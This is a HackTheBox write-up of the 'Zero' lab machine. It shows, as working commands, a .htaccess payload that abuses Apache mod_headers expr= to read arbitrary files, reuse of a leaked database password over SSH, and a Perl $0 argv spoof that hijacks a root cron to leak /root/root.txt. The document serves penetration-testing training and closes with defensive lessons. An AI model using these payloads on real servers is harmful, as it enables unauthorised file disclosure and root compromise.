HTB: Zero Writeup
Zero - HackTheBox Writeup
Machine Information
| Attribute | Details |
|---|---|
| Name | Zero |
| OS | Linux |
| Difficulty | Insane |
| Points | N/A |
| Release Date | N/A |
| IP Address | 10.129.234.62 |
| Author | d3vn0mi |
Machine Rating
⭐⭐⭐⭐⭐ (5/5)
Difficulty Assessment:
- Enumeration: ⭐⭐⭐☆☆
- Real-world: ⭐⭐⭐⭐⭐
- CVE: ⭐⭐☆☆☆
- CTF-like: ⭐⭐⭐⭐☆
Summary
Zero exposes a web application that lets any visitor self-provision SFTP credentials for a personal directory served under zero.vl. That personal directory allows uploading a custom .htaccess, which — combined with Apache’s mod_headers expr= expression syntax — turns into an arbitrary root-readable file-read primitive. Leaking the site’s own PHP source disclosed hardcoded MySQL credentials that were reused for SSH, yielding the zroadmin user. Root came from a poorly-trusted maintenance script: a cron-driven zro.web-confcheck job blindly pgrep-matches a specific Apache command line and re-validates whatever configuration that process was started with, so spoofing a process’s argv (via a Perl $0 rewrite) to satisfy the pgrep pattern while pointing -d at an attacker-controlled config directory forces root’s Apache config-test to read /root/root.txt, leaking it through the resulting syntax-error log.
TL;DR: Self-service SFTP creds → malicious .htaccess (mod_headers expr=%{base64:%{file:...}}) → arbitrary file read → leak stats.php source → hardcoded zroadmin/correct-horse-battery-staple MySQL creds reused on SSH → user.txt → spoof Apache process argv via Perl $0 to hijack root’s zro.web-confcheck cron → root reads /root/root.txt as an “invalid Apache directive” → root.txt.
Reconnaissance
Port Scanning
Recon was run from a jump host against the target 10.129.234.62:
# Full top-3000 port/service/version scan via the jump boxnmap -Pn -A --top-ports 3000 10.129.234.62Results: Two services of interest were found — SSH and an Apache HTTP server. The HTTP service redirected (curl -I) toward a virtual host, confirming a name-based vhost setup requiring the zero.vl Host: header for correct content.
Service Enumeration
# Confirm the redirect/vhost behaviorcurl -s -I http://10.129.234.62/curl -s http://10.129.234.62/curl -s http://10.129.234.62/index.phpWalking the site surfaced a credential self-provisioning workflow:
curl -s http://10.129.234.62/signup.phpcurl -s http://10.129.234.62/get-credentials-please-do-not-spam-this-thanks.phpCalling the credential endpoint returns a freshly generated SFTP username/password pair (e.g. zro-a39e4b23 / a16a342e) tied to a personal directory that gets served back at http://.../~<username>/ on the zero.vl vhost. The backend explicitly notes new accounts need roughly a minute to provision — the account was not immediately usable over SFTP and required a retry loop with delays before authentication succeeded.
Vulnerability Assessment
- Self-service SFTP account creation with no abuse throttling beyond a soft “please don’t spam this” notice.
- Each account’s
public_htmldirectory ships a default.htaccessthat is fully writable by the account owner and re-parsed by the web server on every request — a classic.htaccess/AllowOverridemisconfiguration surface. - Apache’s
mod_headersmodule supportsexpr=expression syntax with%{file:...}and%{base64:...}functions, which — ifAllowOverridepermitsHeaderdirectives in per-directory config — turns header injection into arbitrary file disclosure.
Initial Foothold
Exploitation Path
1. Obtain working SFTP credentials. After several provisioning-wait retries, credentials zro-a39e4b23 / a16a342e authenticated successfully:
sshpass -p 'a16a342e' sftp -o StrictHostKeyChecking=no zro-a39e4b23@10.129.234.62 <<'EOF'cd public_htmlls -lahget .htaccess /tmp/htaccess_origEOFThe default .htaccess only set an identifying header (X-Zero-Customer), confirming mod_headers was active for this per-user directory.
2. Weaponize .htaccess for arbitrary file read. Apache’s mod_headers documentation describes expr= values that can embed the file: and base64: format functions — file: reads a file’s raw contents (as the Apache worker user, effectively root-readable assets), and wrapping it in base64: keeps the leaked bytes safely inside an HTTP header value:
cat > /tmp/htaccess_new <<'EOF'Header always set X-Zero-Customer 'zro-a39e4b23'Header always set X-Leak "expr=%{base64:%{file:/etc/passwd}}"EOFsshpass -p 'a16a342e' sftp -o StrictHostKeyChecking=no zro-a39e4b23@10.129.234.62 <<'EOF'cd public_htmlrm .htaccessput /tmp/htaccess_new .htaccessEOF# Verify the leak — Host header is required because Zero is name-based vhostedcurl -s -I -H 'Host: zero.vl' http://10.129.234.62/~zro-a39e4b23/The response’s X-Leak header carried a base64 blob that decoded to /etc/passwd, confirming arbitrary root-readable file disclosure via the web server process.
3. Pivot the read to the application’s own source. The same technique was repointed at the site’s PHP to look for hardcoded secrets:
cat > /tmp/htaccess_new2 <<'EOF'Header always set X-Zero-Customer 'zro-a39e4b23'Header always set X-Leak "expr=%{base64:%{file:/var/www/html/stats.php}}"EOFDecoding the returned header:
echo '<base64 blob>' | base64 -dstats.php contained a hardcoded MySQL connection:
$mysqli = new mysqli("localhost", "zroadmin", "correct-horse-battery-staple", "zro");Why this works: the per-account .htaccess is trusted content the web server re-evaluates on every request to that path (AllowOverride permits Header there), and mod_headers’s expr= expression parser happily dereferences arbitrary filesystem paths under %{file:...} with no path restriction tied to the requesting vhost/user — a design gap, not a memory-safety bug, so no CVE applies here.
4. Credential reuse to SSH. The MySQL password was tried directly against SSH for the application-owning account:
sshpass -p 'correct-horse-battery-staple' ssh -o StrictHostKeyChecking=no zroadmin@10.129.234.62 'id; hostname; cat /home/zroadmin/user.txt'Login succeeded — zroadmin had reused the same string as their MySQL and SSH password.
user.txt: <redacted>Privilege Escalation
With a zroadmin shell, the next objective was the root-owned automation that manages Apache’s configuration.
1. Locate the maintenance script. Enumeration of scheduled jobs and /usr/local/bin turned up zro.web-confcheck, a root-run script (confirmed via a scheduled-task listing on the box):
cat /usr/local/bin/zro.web-confcheckThe script’s logic (paraphrased from what was retrieved on-box): it uses pgrep -lfa to find a process matching the literal running Apache command line — /opt/zroweb/sbin/apache2 ... -k start ... -d /opt/zroweb/conf — takes that exact command line, substitutes apache2 → apache2ctl and appends -t (config syntax test), then runs it and reports pass/fail. Crucially, it trusts the process’s own reported command line (argv) verbatim rather than an independently pinned path — anyone who can spawn a process whose argv matches the pgrep pattern, with a trailing -d <attacker-directory> overriding ServerRoot, gets root’s Apache config-test binary to load a config directory they control.
2. Stage a poisoned Apache config. The full system config was copied into a writable, zroadmin-owned directory and modified to include the root flag as if it were an Apache directive:
cp -r /etc/apache2/ /home/zroadmin/apache2sed -i '1i Include /root/root.txt' /home/zroadmin/apache2/apache2.confWhy Include /root/root.txt works as a leak primitive: apache2ctl -t parses every included file as Apache config syntax. /root/root.txt is not valid Apache config (it’s a flag string), so the syntax check fails — but not before Apache’s error log records the exact offending line content, i.e., the flag itself, verbatim, in the “Syntax error … Invalid command” message.
3. Spoof the process argv to satisfy pgrep. A pgrep -lfa match is based on the process’s argv as reported via /proc/<pid>/cmdline, which a process can freely rewrite at runtime. A small Perl script assigns to the magic $0 variable to overwrite its own visible command line so it matches the required pattern, while appending a second -d (later -d wins, overriding ServerRoot) pointing at the poisoned config directory, plus -E to redirect Apache’s error log somewhere readable:
#!/usr/bin/perl$0 = "/opt/zroweb/sbin/apache2 -k start -d /opt/zroweb/conf -d /home/zroadmin/apache2 -E log.txt";sleep(100000);nohup perl /home/zroadmin/root.pl &4. Trigger the cron and read the leak. The root-owned zro.web-confcheck job runs periodically (also observed to be triggerable via the site’s account-provisioning endpoint). Once it fired against the spoofed process, it invoked apache2ctl -t with ServerRoot pointed at the poisoned directory:
# Poll for the cron-triggered log writecat /home/zroadmin/apache2/log.txtThe resulting Apache syntax-error message disclosed the contents of /root/root.txt directly in the log output:
root.txt: <redacted>Attack Chain Summary
Self-service SFTP credential provisioning ↓SFTP upload of malicious .htaccess (mod_headers expr=%{base64:%{file:...}}) ↓Arbitrary root-readable file disclosure via HTTP response headers ↓Leak /var/www/html/stats.php → hardcoded zroadmin MySQL credentials ↓Credential reuse: zroadmin / correct-horse-battery-staple → SSH → user.txt ↓Copy /etc/apache2 config, prepend "Include /root/root.txt" ↓Perl $0 argv spoof to satisfy root's zro.web-confcheck pgrep pattern ↓Extra -d ServerRoot override points root's apache2ctl -t at poisoned config ↓Apache config-syntax-error log discloses /root/root.txt → root.txtTools Used
| Tool | Purpose |
|---|---|
nmap | Port/service/version scanning |
curl | HTTP enumeration, vhost testing, header-based file-read exfil |
sftp / sshpass | Self-provisioned credential upload of the malicious .htaccess |
ssh | Credential-reuse foothold and post-exploitation shell |
base64 | Decoding leaked file contents from HTTP response headers |
perl | $0 argv-spoofing to hijack the root cron’s pgrep match |
Apache mod_headers (expr=) | Core exploitation primitive for arbitrary file read |
Key Learnings
Techniques Practiced
- Abusing Apache
mod_headersexpr=expression syntax (%{file:...},%{base64:...}) for arbitrary file disclosure via a writable.htaccess - Turning leaked PHP source into hardcoded-credential discovery
- Credential reuse across MySQL and SSH accounts
- Linux process
argvspoofing (Perl$0assignment) to defeat apgrep-based command-line integrity check - Abusing Apache’s
-d/ServerRootandIncludedirectives to force root’s own config-validation tooling to read and disclose an arbitrary root-owned file
Lessons Learned
- Any
.htaccess-writable directory wheremod_headersis permitted underAllowOverrideis a potential arbitrary file-read primitive — restrictingAllowOverride(or disallowingHeaderthere) is essential when serving user-controlled.htaccesscontent. - Hardcoded database credentials in application source are a single point of failure once any file-read primitive exists against the webroot — and password reuse across services (MySQL and SSH here) turns one leak into a full account compromise.
- Trusting a process’s self-reported command line (via
pgrep -lfa//proc/<pid>/cmdline) as an integrity signal is fundamentally unsound —argvis attacker-controlled and trivially spoofed (e.g., Perl’s$0), so privileged automation must never key security decisions off it. - Apache’s “last flag wins” argument parsing (a second
-dsilently overriding the first) is a subtle but powerful primitive for redirecting a privileged process’s configuration root when its full command line can be influenced or matched loosely.
Proof of Ownership
User Flag: <redacted>Root Flag: <redacted>References
- Zero — HackTheBox Official Writeup by ctrlzero (machine author: jkr), used here for explanatory context on the
mod_headersexpr=file-read technique and thezro.web-confcheckcron design — all IPs, credentials, and command output above are from this run’s own solve, not the reference.